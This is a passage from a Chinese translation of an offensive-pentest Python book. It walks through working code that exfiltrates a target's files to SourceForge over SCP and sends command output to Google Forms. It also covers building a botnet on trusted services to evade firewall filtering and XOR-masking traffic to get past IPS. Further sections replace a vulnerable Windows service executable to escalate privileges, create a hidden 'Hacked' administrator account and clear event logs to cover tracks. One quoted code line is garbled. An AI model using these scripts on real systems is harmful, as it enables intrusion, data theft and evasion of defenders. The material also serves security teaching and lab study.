在使用这些库之前,必须首先安装一个名为PyCrypto的先决条件库,从www.voidspace.org.uk/python/modules.shtml#pycrypto下载。步骤非常简单。
下一步是使用pip命令安装paramiko:
pip install paramiko
最后一步是安装scp库。如果在库设置脚本中遇到任何问题,只需将库手动复制到 Python site-packages 目录中。只需通过导航到 Python27 | Lib | site-packages 粘贴 scp 脚本。
让我们来看看剩下的脚本:
...
ssh_client = paramiko.SSHClient() # creating an ssh_client instance using paramiko sshclient class
'''
when you connect to an ssh server at the first time, if the ssh server keys are not stores on the client side, you will get a warning
message syaing that the server keys are not chached in the system and will prompt whether you want to accept those keys.
since we do an automation on the target side, we inform paramiko to accept these keys for the first time without interrupting the session or
prompting the user and this done via > set_missing_host_key_policy(paramiko.AutoAddPolicy()
'''
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect("web.sourceforge.net", username="hkhrais", password="[123justyouandme]") #Authenticate ourselves to the sourceforge server
print '[+] Authenticating against web.sourceforge.net ...' #please use your own login credentials :D
scp = scp.SCPClient(ssh_client.get_transport()) #after a successful authentication the ssh session id will be passed into SCPClient function
scp.put('C:/Users/Hussam/Desktop/password.txt') # upload to file( in this case it's password.txt) that we want to grab from the target to /root directory
print '[+] File is uploaded '
scp.close()
print '[+] Closing the socket'
因此,我们的脚本将从使用paramiko.SSHClient()类创建一个ssh_client实例开始。现在,当您第一次连接到 SSH 服务器并且如果 SSH 服务器密钥未存储在客户端端,您将收到一个警告消息,指出服务器密钥未缓存在系统中;它将提示您接受这些密钥。
打开 PuTTY 软件,使用web.sourceforge.net作为主机名,端口22,协议为 SSH 连接到 SourceForge 服务器。现在,点击打开:

我们将收到一个警告弹出窗口,因为密钥未缓存在系统中。现在,由于我们执行自动化,我们将通知Paramiko在第一次接受这些密钥时不中断会话或提示用户。这将通过client.set_missing_host_key_policy,然后AutoAddPolicy()完成。
代码块中的下一步是定义我们要连接的 SourceForge 服务器名称,并上传我们的文件。我们还提供了登录凭据。在提供了 username 和 password 后,我们将通过 SourceForge 服务器进行身份验证。身份验证成功后,SSH 会话 ID 将传递给 SCPClient() 函数,并且 get_transport() 函数将返回该会话 ID。完成此步骤后,我们所要做的就是指定要导出的文件路径,并将其上传到我们的仓库。
在这个例子中,我使用了第 5 模块或 M5.pdf 文件。因此,我们将使用 SCP 中的 put() 函数来执行上传,最后通过 .close() 函数关闭会话。
运行脚本后,我们将收到以下成功认证信息:
>>>
[+] Authenticating against web.sourceforge.net ...
[+] File is uploaded
[+] Closing the socket
>>>
现在,让我们切换到攻击者端,验证我们是否得到了文件。首先,安装 FileZilla FTP 客户端来访问我们的仓库:
apt-get install filezilla
通过运行filezilla打开软件,并输入先前在脚本中输入的服务器名称/主机名、用户名、密码和端口号,以登录您的帐户。由于这是第一次登录,会出现警告信息,如果我们稍微向下滚动,就可以看到文件已经成功上传。M5 文件已经成功上传,以下截图显示了这一点:

尝试通过右键点击文件名并选择“下载”来下载此文件。如果没有错误,控制台会显示文件已成功传输。
现在,重复上述步骤,使用 .txt 扩展名检查是否成功。刷新攻击者侧并查看内容。渗透测试评估完成后,请确保从 SourceForge 仓库中删除文件。
与 Google Forms 互动
在前面的部分,我们已经看到如何将数据导出到 SourceForge 网站。现在,我们将使用 Google Forms 提交普通文本。请注意,这些文本可能是我们 Shell 的命令执行输出。这里的关键点是,类似 SourceForge,Google Forms 也有相当高的信誉排名。按照以下步骤开始:
-
登录 Google Forms
-
点击“开始新表单”创建一个新的 Google 表单
-
将问题输入为
Python 不是很酷吗? -
在“响应”选项卡中,保留电子表格的默认名称
-
将问题类型从默认的“多项选择”更改为“段落”
-
创建表单后,点击“发送”
-
将提供的链接复制到记事本或文本文件中
-
访问我们复制的链接并提交一个简单的文本
-
检查我们创建的 Google Sheet 中的响应,到那时它将存储在您的 Google Drive 中
现在,我们将编写一个 Python 脚本,将目标端的文本数据提交到我们的 Google 表单,最棒的是,我们可以在不登录 Google 账户的情况下完成这项工作。像往常一样,最适合与网页交互的 Python 库是 requests,我们在前面的章节中已经使用过 requests:
'''
Caution
--------
Using this script for any malicious purpose is prohibited and against the law. Please read Google terms and conditions carefully.
Use it on your own risk.
'''
# Python For Offensive PenTest
# Interacting with Google Forms
import requests # To install requests library, just type on the CMD: pip install requests
url = 'https://docs.google.com/forms/d/e/1FAIpQLSdNHreWMKC4li3a-Ox7IzQZ9mkZjI94I8U6jz8yHBkePXSPoA/formResponse' # please replace the URL with your own google form :D
'''
notice that i added /formResponse to the end of the URL and this is inherited from the page HTML source code,
as we can see below, the HTML form action contains /formResponse when method POST is used to send the user data
so we have to add this part when we automate the data submission
<div class="ss-form"><form action="https://docs.google.com/forms/d/1Ndjnm5YViqIYXyIuoTHsCqW_YfGa-vaaKEahY2cc5cs/formResponse?pli=1"
method="POST" id="ss-form" target="_self" onsubmit=""><ol role="list" class="ss-question-list" style="padding-left: 0">
'''
form_data = {'entry.1542374001':'Hello from Python'}
r = requests.post(url, data=form_data)
# Submitting form-encoded data in requests:-
# http://docs.python-requests.org/en/latest/user/quickstart/#more-complicated-post-requests
再次强调,安装非常简单:只需执行 pip install requests。现在,我们看到的是 requests 文档,用于提交 HTML 表单编码的 POST 请求:

现在,根据文档,我们首先定义提交表单的 URL,在我们的例子中,就是 Google 表单的 URL。第二个参数是我们的数据,以字典格式呈现,其中我们有一个 key 和对应的值。请记住,key 是表单名称,而它的值是我们要发送的文本数据。
让我们跳转到 Google 表单链接,找出表单名称,这将是我们字典中的 key。打开我们创建的表单的源代码,在 HTML 中搜索 Python 字符串。如果仔细查看,你会发现提交文本的 HTML 表单名称。在我们的例子中,作为 <textarea name> 的值,表单名称是 entry.1542374001:

到这里为止,我们已经发现了 key 名称,这就是我们需要用来自动化这个过程的东西。记住,值是我们想要发送或提交的数据。
现在先将表单名称复制到记事本文件中。接着,我们需要返回到之前的与 Google 表单交互脚本并在其中填入这些信息。首先复制表单的 URL,并将其赋值给 import requests 行下方的 url 变量,最后,去掉 URL 中的 /viewform 部分,并在末尾添加 /formResponse。将表单名称 entry.1542374001 作为键,暂时将数据设为 Hello From Python:
...
url = 'https://docs.google.com/forms/d/e/1FAIpQLSdNHreWMKC4li3a-Ox7IzQZ9mkZjI94I8U6jz8yHBkePXSPoA/formResponse'
...
form_data = {'entry.1542374001':'Hello from Python'}
...
保存脚本。到目前为止,我们已经准备好了所有内容。让我们运行脚本,如果一切正常如预期,我们应该会在表单响应中看到 Hello From Python 被添加进去。
在下一部分,我们将展示如何在实际的渗透测试中使用这个脚本。
绕过僵尸网络过滤
如果你按照顺序阅读了前面的章节,那么到这一点,你应该能够在不登录 Twitter 和提交文本到 Google 表单的情况下,掌握 Twitter 的命令操作,同时也无需登录 Google 账户。最后,你应该能够将文件上传到 SourceForge。那么,你可能会问:黑客能用这些服务做什么?
好吧,他们可以像发布推文一样发送 ipconfig 命令,然后让多个感染的目标解析这条推文并执行命令。执行命令后,我们可以将执行结果提交到 Google 表单。或者,如果命令语法或格式包含 grab 关键字,那么目标将会把文件上传到我们的 SourceForge 仓库。
现在,在现代防火墙中,僵尸网络过滤功能会根据某些标准或参数进行查找,例如现代僵尸网络使用的应用程序或协议,如 IRC、动态 DNS,以及从内部到外部主机创建的会话数量。所有这些都会被现代或下一代防火墙考虑,用来检查这些流量是否属于僵尸网络。此外,不需要多提的是,声誉过滤也是这些检查和过滤的一部分。
基于知名服务器构建僵尸网络的好处是,首先,我们不使用 IRC 渠道或动态 DNS。接下来,我们不需要与攻击者机器进行直接互动或交互。最后,所有这些服务器或服务都是知名且可信的。
如果你滥用这些服务并在实验室环境之外使用它们,你将违反服务条款和协议,最终根据相关地区的司法管辖区,你将受到法律的追诉。
请记住,我的目的是让你意识到类似类型的攻击,这样你就能警惕它们。所以,我希望你挑战自己,尝试将所有这些脚本合并并压缩成一个高级 Shell,然后尝试在你的家庭实验室环境中感染多台运行 Windows 7 的虚拟机。之后,或者最后,你将能够控制它们并提取数据。我们在本节中没有提到的最后一点是加密。在下一节中,我们将看到如何轻松地构建 XOR 加密并掩盖我们的明文流量。
使用手工 XOR 加密绕过 IPS
在本节中,我们将用 Python 构建一个简单的 XOR 加密。现在,流量加密是避开网络分析器或 IPS 传感器的最强大技术之一,但在开始编码之前,让我们先快速了解这些设备最初是如何工作的。
一般来说,这些设备可以在两种模式下运行:第一种模式是基于签名的模式,它会检查通过传感器的包参数和数据负载。然后,类似于杀毒软件,它检查是否与其签名数据库有任何匹配,并根据匹配规则指定的操作,可能会丢弃或记录流量。第二种模式是基于行为或基于异常的模式,在这种模式下,你将 IPS 安装在网络中,它会学习协议类型以及通过传感器的包速率。然后,它会基于当前的网络流量建立其数据库或基线数据库。
例如,在一个网络中,假设我们有 50 台 PC 通常使用 SSH 访问远程服务器。如果 IPS 是基于行为的,它会学习到平均而言我们有 50 个 SSH 会话,并会为此创建基线。后来,如果某台 PC 使用了 Telnet,IPS 会认为这个协议是可疑活动,并可能丢弃这个连接。尽管 Telnet 会话是合法的,但由于 IPS 在学习阶段没有注意到任何 Telnet 会话,它不会把它包含在 IPS 基线中,这种错误的行为被称为误报。这就是为什么基于行为的 IPS 不常使用的原因,因为它们经常出现误报。
现在,我们将编写一个非常简单的 XOR 加密来掩码我们的数据负载。你可能会想:为什么是 XOR 加密?为什么不创建一个 SSH 或 HTTPS shell,因为这些协议本身就提供加密?嗯,我不推荐这样做,因为在许多企业网络中,你可能会发现目标安装了一个解密设备,它可以终止 SSL 和 SSH 加密。基本上,一旦流量进入该设备,它会转换或移除这些协议的加密,并在将其传递到 IPS 传感器进行检查之前,将其转换为明文。技术上来说,你不会拥有端到端加密的 shell,如果你遇到这个解密设备,你就没有任何附加值。
许多现代防火墙或下一代防火墙可以终止 SSL 和 SSH 加密进行检查。
让我们跳到编码部分:
# Python For Offensive PenTest
import string # The random and string libraries are used to generate a random string with flexible criteria
import random
# XOR Encryption
# Random Key Generator
key = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for _ in range(1024))
# the for loop defines the key size, key size is 1 KB which if you remember in our TCP shell, it matches the TCP socket size :)
# the "".join will put the result for the random strings into a sequence and we finally will store it in a key variable
# so all in all the for loop will generate a 1024 random string which are matching our criteria and . join is used to gather these strings into a sequence
print key
print '\n' + 'Key length = ' + str ( len(key) )
# After we generate the XOR key, you need to take into consideration the XOR encryption rule which says the key length must be greater or equal the msg/data
# which we will send over the tunnel. len(key) >= len(message)
message = 'ipconfig' # this is the message which we will encrypt before it's getting sent
print "Msg is " + message + '\n'
...
让我们先看一下第一部分。我们将生成一个随机密钥,用于 XOR 加密。现在,我们的密钥应该足够复杂,并满足以下标准:它应包含小写字母、大写字母、数字和特殊字符。现在,最后的for循环定义了密钥的大小。密钥的大小是 1 KB,这在我们的 TCP shell 中,如果你记得的话,与 TCP 套接字大小相匹配。开始的空字符串.join将把随机字符串的结果放入一个序列,最后我们将其存储在key变量中。总的来说,for循环将生成1024个符合我们标准的随机字符串,而.join用于将这些字符串汇集成一个序列。
运行代码时,将生成一个长度为1024的密钥,我们可以用来进行加密。如果你再运行一次脚本,你会得到一个完全不同但大小相同的密钥:
...
# here i defined a dedicated function called str_xor, we will pass two values to this function, the first value is the message(s1) that we want to encrypt or decrypt,
# and the second parameter is the xor key(s2). We were able to bind the encryption and the decryption phases in one function because the xor operation is exactly the
# same when we encrypt or decrypt, the only difference is that when we encrypt we pass the message in clear text and when we want to decrypt we pass the encrypted message
def str_xor(s1, s2):
return "".join([chr(ord(c1) ^ ord(c2)) for (c1,c2) in zip(s1,s2)])
# first we split the message and the xor key to a list of character pair in tuples format >> for (c1,c2) in zip(s1,s2)
# next we will go through each tuple, and converting them to integer using (ord) function, once they converted into integers we can now
# perform exclusive OR on them >> ord(c1) ^ ord(c2)
# then convert the result back to ASCII using (chr) function >> chr(ord(c1) ^ ord(c2))
# last step we will merge the resulting array of characters as a sequence string using >>> "".join function
#Here we do a quick test
enc = str_xor(message, key)
print 'Encrypted message is: ' + '\n' + enc + '\n'
dec = str_xor(enc, key)
print 'Decrypted message is: ' + '\n' + dec
#Make sure that the SAME Key is HARDCODED in the Server AND client, otherwise you won't be able to decode your own messages!
在 XOR 加密的第二部分,请记住密钥的大小应该等于或大于明文消息。我们将两个值传递给专用函数 str_xor()。第一个参数 s1 是我们要加密或解密的消息,第二个参数 s2 是 XOR 密钥。请注意,使用相同的 key 进行加密和解密。消息可以是我们想要解密的加密消息,也可以是我们想要加密的明文消息。因此,XOR 操作在加密和解密时是完全相同的。唯一的区别是,在加密时,我们传递明文消息,而在解密时,我们传递加密消息。以下这行来自 XOR Encryption 脚本的代码会为我们同时执行加密和解密:
...
return "".json([chr{ord(c1) ^ ord(c2)) for (c1,c2) in zip(s1,s2)])
...
所以,首先,我们将消息和 XOR 密钥分割为一对对字符的列表,格式为元组。接下来,我们将遍历每个元组,并使用 ord() 函数将其转换为整数。现在,一旦它们转换为整数,我们就可以对它们执行排他性 XOR 操作。然后,在最后部分,我们将使用字符函数 chr() 将结果转换回 ASCII。最后,我们将通过 .join() 函数将结果字符数组合并成一个序列。所以,总结起来,我们将首先打印明文消息,然后是加密后的版本,最后是解密后的消息。
运行脚本后,你将在输出中看到 XOR 密钥、我们传递的消息、加密后的消息以及解密后的消息。
每次运行脚本时,都会生成一个新的密钥,因此会显示一个新的加密消息。
一旦生成了 XOR 密钥,请确保将相同的密钥硬编码到你的 Kali 服务器脚本和 Windows 后门中,否则你将无法解密你的消息。
总结
在本章中,我们讨论了从绕过防火墙到与网站交互的广泛话题。我们在使用各种工具和不同方法的基础上,完成了这些任务,从而能够通过攻击者机器攻击受害者机器或加密解密我们的消息。
在接下来的章节中,我们将讨论与弱服务文件权限相关的特权提升,准备易受攻击的软件,通过后门侵入合法的 Windows 服务,以及创建新的管理员账户。
第五章:Windows 中的其他有趣内容
在本章中,我们将主要关注在 Windows 系统中利用易受攻击的软件,并使用不同的技术进行特权提升。随后,我们还将创建后门并掩盖痕迹。本章将大致介绍如何利用 Python 脚本的强大功能来为我们所用。
本章将涵盖以下主题:
-
特权提升 – 弱服务文件
-
特权提升 – 准备易受攻击的软件
-
特权提升 – 后门合法的 Windows 服务
-
特权提升 – 创建新的管理员账户并掩盖痕迹
特权提升 – 弱服务文件
在渗透测试阶段,你可能会遇到一个标准用户账号,在此账号下,由于用户访问控制(UAC),你没有完全的权限访问或修改文件系统,每次你试图提升权限时,都会弹出一个窗口,要求你输入管理员密码。在本节中,我们将讨论一种特权提升攻击的类型,你可以通过这种方式从标准用户权限提升到管理员或系统权限。这些我们将讨论的攻击方法,称为通过服务文件权限漏洞进行特权提升。如果服务可执行文件的位置可以被标准用户修改,则系统将变得易受攻击。此时,它可以被另一个恶意可执行文件覆盖。我们可以利用这一点,通过启动我们的恶意可执行文件来获取系统权限。一旦在重启系统后启动服务,被替换的可执行文件将运行,而不是原始的服务可执行文件。总之,我们已经获得了系统权限,并将运行一个属于易受攻击软件的 EXE 文件。现在,由于该软件的 EXE 文件可以被标准用户在标准用户的配置文件中写入,因此我们可以简单地将其替换为恶意 EXE 文件。
因此,这款软件 EXE 文件可以由用户空间的标准用户写入或修改。所以,我们可以做的事情是,直接将软件 EXE 文件替换为恶意 EXE 文件。在接下来的三次启动中,我们的 EXE 将取而代之,并将以系统权限执行。
这是一个关于特权提升类型的链接,并简要描述每种类型:
attack.mitre.org/wiki/Privilege_Escalation。如果你有时间,我建议你阅读这篇文章。
特权提升 – 准备易受攻击的软件
在本次演示中,我将使用一款名为Photodex的易受攻击软件,该软件来源于 Exploit Database 网站。你可以从www.exploit-db.com/exploits/24872/下载此软件。下载完成后,将该软件安装到目标机器上。安装完成后,重启机器。
现在,让我们尝试在目标 Windows 机器上创建一个 nonadmin 标准账户,方法是前往控制面板 | 添加或删除用户账户 | 创建一个新账户。我们将其命名为 nonadmin。创建完账户后,登录到 nonadmin 账户,导航到安装时创建的 Photodex 目录,路径在 C:\ 驱动器,同时打开任务管理器。
你将能够在“服务”标签下看到由 Photodex 软件创建的服务名称,即 ScsiAccess。要获取更多关于此服务的信息,请点击“服务”按钮。在打开的“服务”窗口中,找到 ScsiAccess,右键点击并选择“属性”,你将能够找到该服务的 EXE 文件路径。然后进入该目录,在我的例子中,它是 C:\Program Files\Photodex\Pro Show Producer\ScsiAccess.exe。找到 EXE 文件,右键点击它;注意,我们不需要任何管理员权限就能重命名、删除、复制甚至剪切这个文件。所以,理论上,如果我把这个文件重命名为 ABC,例如,然后用一个恶意文件替代它,那么我们就可以利用这个漏洞。接下来,我们将看看如何利用这个漏洞。在下一部分,我们将纯粹使用 Python 创建一个新的服务 EXE 文件。然后,我们将替换当前的 sciaccess.exe 文件,并看看通过这样做我们能获取哪些权限。
权限提升 – 通过后门访问合法的 Windows 服务
在这一部分中,我们将编写一个恶意服务文件来替换合法的服务文件。现在,为了替换服务文件,我们的新恶意服务文件应该能够与 Windows 服务控制管理器进行通信。例如,当你手动启动、停止、暂停或恢复服务时,Windows 服务控制管理器会向 EXE 服务文件发送信号或命令,作为回应,服务文件通常会服从服务控制管理器的命令。如果由于某种原因,服务文件或 EXE 文件未能理解该信号,那么服务控制管理器将无法启动服务,并且你会收到一个错误提示:“服务没有及时响应启动或控制请求”。
现在,让我们进入代码部分:
# Python For Offensive PenTest
# Backdooring Legitimate Windows Service
import servicemanager
import win32serviceutil
import win32service
import win32api
import os
import ctypes
...
# Part 1 - initializing : in this section we:-
if __name__ == '__main__':
servicemanager.Initialize() # define a listener for win servicemanager
servicemanager.PrepareToHostSingle(Service)
servicemanager.StartServiceCtrlDispatcher()
win32serviceutil.HandleCommandLine(Service) #pass a Service class handler, so whenver we got a signal from the servicemanager we will pass it to the Service class
首先,我的部分代码继承自我在 ActiveState 网站上找到的一个脚本。在这里,你可以找到原始脚本:code.activestate.com/recipes/551780/。其次,我建议阅读更多关于 Microsoft 服务控制管理器功能的资料。这里是一个不错的起点:msdn.microsoft.com/en-us/library/windows/desktop/ms685150(v=vs.85).aspx。最后但同样重要的是,pywin库是创建 Windows 服务的前置库。你可以从以下链接下载:sourceforge.net/projects/pywin32/files/pywin32/Build%20219/。我们的代码可以分为两个部分。第一部分是关于初始化的。在这一部分,我们为 Windows 定义一个监听器,即servicemanager。然后,我们传递一个Service类处理程序,因此每当我们从servicemanager接收到信号时,我们会将其传递给Service类。
让我们进入第二部分:
# Part 2 - Here (in service class) we define the action to do when we got a service manager signal
class Service(win32serviceutil.ServiceFramework):
_svc_name_ = 'ScsiAccess' # specify the service name and the display name - note that the name scsiacces is similar to the original one for photodex vulnerable software
_svc_display_name_ = 'ScsiAccess'
def __init__(self, *args): # Initialize ServiceFramework and we define in functions style what to do when we got a service manager signal
win32serviceutil.ServiceFramework.__init__(self, *args)
def sleep(self, sec): # if the service manager signal was pause - then we sleep for an amount of seconds
win32api.Sleep(sec*1000, True)
def SvcDoRun(self): # if the signal was start - then:-
self.ReportServiceStatus(win32service.SERVICE_START_PENDING) # tell the Service Manager that we are planning to run the service via reporting back a start pending status
try:
self.ReportServiceStatus(win32service.SERVICE_RUNNING) #tell the Service Manager that we are currently running up the service then call the start
#function (start) if any exception happened, we will call the stop function (SvcStop)
self.start()
except Exception, x:
self.SvcStop()
def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) #tell the Service Manager that we are planning to stop the serivce
self.stop()
self.ReportServiceStatus(win32service.SERVICE_STOPPED) #tell the Service Manager that we are currently stopping the service
def start(self):
self.runflag=True # mark a service status flag as True and we will Wait in while loop for receiving service stop signal from the service manager
'''
This little code is to double check if we got an admin priv, after replacing our malicious service, thanks to IsUserAnAdmin function
https://msdn.microsoft.com/en-us/library/windows/desktop/bb776463(v=vs.85).aspx
f = open('C:/Users/nonadmin/Desktop/priv.txt','w')
if ctypes.windll.shell32.IsUserAnAdmin() == 0:
f.write('[-] We are NOT admin! ')
else:
f.write('[+] We are admin :)')
f.close()
'''
while self.runflag: # Wait for service stop signal
self.sleep(10)
def stop(self): # now within the stop function we mark the service status flag as False to break the while loop in the start function
self.runflag=False
在第二部分,我们定义了在接收到服务管理器信号时应该执行的操作,这将在Service类中发生。在前两行中,我们指定了服务名称和显示名称。请注意,我选择的名称ScsiAccess与 Photodex 软件的原始名称相似。因此,如果我们像上一部分那样从 Windows 任务管理器打开服务,名称将与脆弱软件的服务名称完全匹配。
接下来,我们初始化ServiceFramework,并以函数式的方式定义在接收到服务管理器信号时应该执行的操作。例如,如果服务管理器的信号是暂停,那么我们将sleep指定的秒数,即Sleep(sec*1000, True)。同样,如果信号是启动,那么我们会告诉服务管理器我们计划运行该服务;这将通过通过ReportServiceStatus()报告SERVICE_START_PENDING状态来完成。然后,在异常处理程序中,我们将告诉服务管理器我们正在启动服务,并且会调用start()函数。如果发生任何异常,我们将在这里调用SvcStop()函数。
一旦我们执行了start()函数,我们将ServiceStatus标志设置为True,然后我们将在一个while循环中等待接收来自服务管理器的停止信号。如果我们收到此信号,我们将转到stop()函数,最终将标志切换为False。现在,在stop()函数内部,我们将执行与start()函数类似的过程。因此,我们会告诉服务管理器我们计划停止服务,然后执行stop()函数,最后告诉服务管理器我们当前正在停止服务。现在,在stop()函数中,我们将服务状态标志设置为False,以打破start()函数中的无限循环。现在,如果我将此脚本导出为 EXE 文件,并用它替代sciaccess.exe并重启机器,应该可以正常工作。然而,我想再进一步,证明我们获得了系统权限。那么,让我们确保利用过程正常工作。为此,我编写了一个快速的 Python 脚本来检查我们是否以管理员身份运行:
# Are we Admin
import ctypes
if ctypes.windll.shell32.IsUserAnAdmin() == 0:
print '[-] We are NOT admin! '
else:
print '[+] We are admin :) '
这个脚本将简单地调用 Windows 中的IsUserAnAdmin()函数。如果返回值是0,则表示我们是标准用户;否则,表示我们拥有管理员权限。要运行这个脚本,请以管理员身份打开命令提示符,并导航到Desktop然后是Users,然后输入python "Are we Admin.py"。如果我们拥有管理员权限,将显示[+] We are admin :)。这是因为在启动命令提示符之前,我右键点击并选择了“以管理员身份运行”。
所以,我打算在我们的代码中使用这个小技巧,并将检查管理员权限的脚本注入到我们的恶意服务中。显然,它应该在服务启动时执行,因此应该位于start()函数内。一旦我们运行服务,我们将在桌面上创建一个文本文件,文件中将显示我们当前的权限。
所以,我们现在将像上一章一样将脚本导出为 EXE 文件,到这时,我们需要做的就是用生成的文件替换原始的 EXE 文件。前往 Photodex 软件的原始文件位置。由于软件存在漏洞,我们可以替换这个文件。所以,我将把这个文件重命名为access2,然后简单地复制并粘贴我们的恶意文件。如果一切正常,我们的服务应该没有任何错误地运行,并且我们应该在桌面上看到一个文本文件,打开它后应该告诉我们当前运行的权限。重启后,你会注意到桌面上有一个priv文本文件。如果你打开它,你会看到一行文本,说明我们以管理员身份运行。
提权攻击——创建一个新的管理员账户并掩盖痕迹
在我们之前的章节中,我们创建了一个恶意的 Python 服务,并将合法服务替换掉。一旦系统启动,我们验证了我们获得了系统或管理员权限。现在,在这一节中,我们将看到如何创建一个新的管理员账户,然后从标准用户跳转到管理员账户。所以,我在代码部分做的修改是将以下部分添加到之前的代码中,简而言之,这段代码将会在服务启动后创建一个新的管理员账户:
...
USER = "Hacked"
GROUP = "Administrators"
user_info = dict ( # create a user info profile in a dictionary format
name = USER,
password = "python_is_my_life", # Define the password for the 'hacked' username
priv = win32netcon.USER_PRIV_USER,
home_dir = None,
comment = None,
flags = win32netcon.UF_SCRIPT,
script_path = None
)
user_group_info = dict ( # create a group info profile in a dictionary format
domainandname = USER
)
try:
win32net.NetUserAdd (None, 1, user_info)
win32net.NetLocalGroupAddMembers (None, GROUP, 3, [user_group_info])
except Exception, x:
pass
...
所以,记住,我已经在start()函数下添加了上述部分。在这里,我们定义了一个名为Hacked的新用户名,以及它所属的组,即Administrators组。接下来,我们在字典格式中创建一个用户和组信息配置文件。然后,在字典中,我们指定一些值,如password、priv和home_dir。最后,我们创建新的管理员账户并将其添加为Administrators组的成员。如果在创建过程中发生任何异常,我们将简单跳过它。现在,在导出代码为 EXE 并测试之前,快速验证一下我们在机器上获得的用户名,通过在命令提示符中运行net users,它会列出机器上的所有用户。
目前,我们登录的是nonadmin账户。所以,让我们继续在这里导出 EXE。将脚本复制到Toexe文件夹并重命名为sciaccess。现在,运行安装文件。然后,将导出的 EXE 文件复制并替换掉Photodex\ProShow Producer文件夹中的脆弱软件。此时,如果一切正常,重启后我们应该能看到一个名为Hacked的新管理员账户。现在,重启机器并登录到nonadmin账户。打开命令提示符。现在,如果我们输入net users,我们将看到一个新的用户名Hacked。
如果我们输入net users Hacked,我们会看到底部显示我们属于Administrators组。所以,在这一点上,一旦我们获得管理员权限,就可以为所欲为。那么,让我们走上歧途,使用被黑的管理员账户登录并清除事件查看器中的 Windows 事件日志。这将有助于我们掩盖痕迹。
总结
在本章中,我们学习了不同的特权提升方式和漏洞利用方法。我们从导出文件到 EXE 开始,然后转向针对脆弱软件。之后,我们开始创建后门并随后掩盖我们的痕迹,以避免被发现。
在下一章,我们将处理不同类型的加密算法。
第六章:恶意软件对加密技术的滥用
在本章中,我们将使用比简单的 XOR 更坚固的方式来保护我们的隧道,因为现代恶意软件使用一种知名的加密算法来保护其在传输路径中的流量。
本章涵盖的主题如下:
-
加密算法简介
-
使用 AES 保护你的隧道—流模式
-
使用 RSA 保护你的隧道
-
混合加密密钥
加密算法简介
在本节中,我们将简要概述加密领域中最常见的加密算法。基本上,有两种类型的加密算法:第一种叫做对称加密,第二种叫做非对称加密。这种分类是根据所需密钥的数量以及它们的操作方式来进行的。我们将稍微讨论一下这些算法之间的区别,首先从对称加密开始。
现在,对称加密使用一个密钥来进行加密和解密,这个密钥在客户端和服务器端共享。最常见的对称加密算法有 AES、Blowfish、RC4 和 Triple DES。在非对称加密中,我们有密钥对的概念,其中一个叫做公钥,用于加密,而另一个叫做私钥,用于解密。密钥的名称暗示了公钥可以在不可信的网络(如互联网)上发布,这样做不会造成任何损害。另一方面,私钥绝不能离开操作系统或旨在解密数据的机器。如果私钥泄露出操作系统,那么任何拥有该私钥的人都可以解密流量。
客户端或目标必须生成自己的密钥对,服务器或攻击者则需要生成自己的密钥。现在,在双方各自生成密钥对后,操作流程如下:客户端将持有自己的私钥和服务器的公钥;另一方面,服务器将持有自己的私钥和客户端的公钥。简要回顾一下,切换后,在 Kali 一侧我们拥有自己的私钥和目标的公钥。同样,在目标一侧,我们拥有自己的私钥,并且也持有 Kali 的公钥。因此,在我们的 shell 中反映这一点,当我们得到一个反向 shell 提示并输入要执行的命令时,例如ipconfig,它将使用客户端的公钥进行加密,并通过隧道发送。
当我们在终端提示符中输入ipconfig时,在将ipconfig明文发送之前,我们将使用目标的公钥对该消息进行加密,并通过隧道发送出去。不管谁在监视这段流量,只有客户端可以解密它,因为只有客户端持有私钥。我们将使用目标的私钥解密命令,并将其恢复为明文,这就是ipconfig命令。现在,当客户端执行ipconfig时,输出不会以明文形式发送,而是使用服务器或 Kali 公钥进行加密,并通过隧道发送出去。现在,在 Kali 一侧,一旦我们收到加密的消息,我们将将其交给我们的私钥,私钥将用于解密流量或解密消息并以明文形式打印出来。最后,我需要提到的关于非对称加密的内容是这个算法的最常见示例,即 RSA 和Pretty Good Privacy(PGP)。
两种方法各有其优缺点。非对称算法被认为比对称算法更难破解,更坚固、更安全。然而,它需要更多的处理过程,比对称算法慢得多。那么,问题是,我们能否创建一个混合系统或混合算法,利用对称和非对称系统的优点?答案是肯定的。
我们将使用非对称算法安全地传输一个随机且复杂的密钥。这个密钥稍后将用于使用对称算法加密我们的传输数据。所以,基本上,事情是这样的。Kali 机器将持有目标的公钥,然后我们将在 Kali 侧生成对称密钥。现在,我们将利用目标侧的非对称公钥,并使用它来加密生成的对称密钥,并将其发送到目标侧。目标将使用其私钥解密对称密钥。
我们将使用目标的私钥来导出或解密对称密钥。因此,到这个步骤,我们可以使用这个对称密钥来进行隧道加密。现在,一旦我们安全地传输了对称密钥,我们就可以用它来加密通过这个隧道传输的每个命令或输出。简单回顾一下,一旦目标端启动与我们 Kali 侧的会话,我们将生成对称密钥。为了安全地传输这个对称密钥,我们将使用目标的公钥加密它,并发送过去。在目标端,我们将解密该消息并再次提取对称密钥。到此为止,双方都拥有了对称密钥。现在,我们可以安全地通过对称密钥在双方之间传输命令。最后,我们要讨论的是使用混合方法的好处。首先,我们通过安全地传输生成的对称密钥来保持它的安全。其次,请记住,这是一个随机生成的密钥,每次连接时都会更改。我们不会在两端硬编码这个密钥,而是每次连接时密钥都会更改。此外,我们还可以随时更改密钥。例如,在 VPN IPSEC 协议中,你可以设置一个标准,在一定时间或消耗一定带宽后更换加密密钥。
使用 AES 加密保护你的隧道 – 流模式
在本节中,我们将使用 AES 加密来保护我们的 TCP 隧道。一般来说,AES 加密可以在两种模式下运行:计数器(CTR)模式加密(也称为流模式)和密码块链接(CBC)模式加密(也称为块模式)**。
密码块链接(CBC)模式加密
块模式意味着我们需要以数据块的形式发送数据:

例如,如果我们说块大小为 512 字节,并且我们想发送 500 字节的数据,那么我们需要额外添加 12 字节的填充数据,以使总大小达到 512 字节。如果我们想发送 514 字节,那么前 512 字节将作为一个块发送,第二个块或下一个块将为 2 字节大小。然而,我们不能仅仅发送 2 字节,因为我们需要添加额外的 510 字节填充,以使第二个块的总大小为 512 字节。现在,在接收端,你需要通过去除填充并解密消息来逆向执行这些步骤。
计数器(CTR)模式加密
现在,让我们跳到另一种模式,也就是计数器(CTR)模式加密或流模式:

在这种模式下,消息大小并不重要,因为我们不受块大小的限制,且我们将以流模式加密,就像 XOR 操作一样。现在,块模式在设计上被认为比流模式更强。在本节中,我们将实现流模式,剩下的块模式的实现将交给你自己去探索。
